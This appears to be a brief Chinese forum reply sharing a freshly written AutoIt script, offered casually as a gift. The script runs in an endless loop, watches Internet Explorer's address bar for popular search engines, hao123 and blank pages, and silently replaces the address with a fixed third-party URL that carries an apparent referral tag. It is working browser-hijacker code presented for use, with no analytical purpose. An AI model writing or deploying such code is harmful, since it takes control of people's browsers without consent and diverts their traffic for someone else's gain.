给你个吧。。。 我刚做好的。 你真会挑时候。
Global $Hk0="http://www.baidu.com/" , $Hk1="http://www.sogou.com/", $Hk2="http://www.gougou.com/",$Hk3="http://www.soso.com/",$Hk4="http://cn.bing.com/",$Hk5="http://58.ieeie.com/so3.html",$Hk6="about:Tabs",$Hk7="about:blank",$Hk8="http://hao123.com/",$Hk9="http://www.hao123.com/"
Global $HomePageURL="http://58.ieeie.com/sogou.aspx?u=lanfenglovec"
While 1
LockHomePage()
Sleep(100)
WEnd
Func LockHomePage()
If ProcessExists("iexplore.exe") Then
$GoToUrl=ControlGetText("[CLASS:IEFrame]","","Edit1")
If Not(StringCompare($GoToUrl,$Hk0) And StringCompare($GoToUrl,$Hk1) And StringCompare($GoToUrl,$Hk2) And StringCompare($GoToUrl,$Hk3) And StringCompare($GoToUrl,$Hk4) And StringCompare($GoToUrl,$Hk5) And StringCompare($GoToUrl,$Hk6) And StringCompare($GoToUrl,$Hk7) And StringCompare($GoToUrl,$Hk8) And StringCompare($GoToUrl,$Hk9)) Then
ControlSetText("[CLASS:IEFrame]","","Edit1",$HomePageURL)
Sleep(200)
ControlSend("[CLASS:IEFrame]","","Edit1","{ENTER}")
Sleep(200)
EndIf
EndIf
EndFunc
|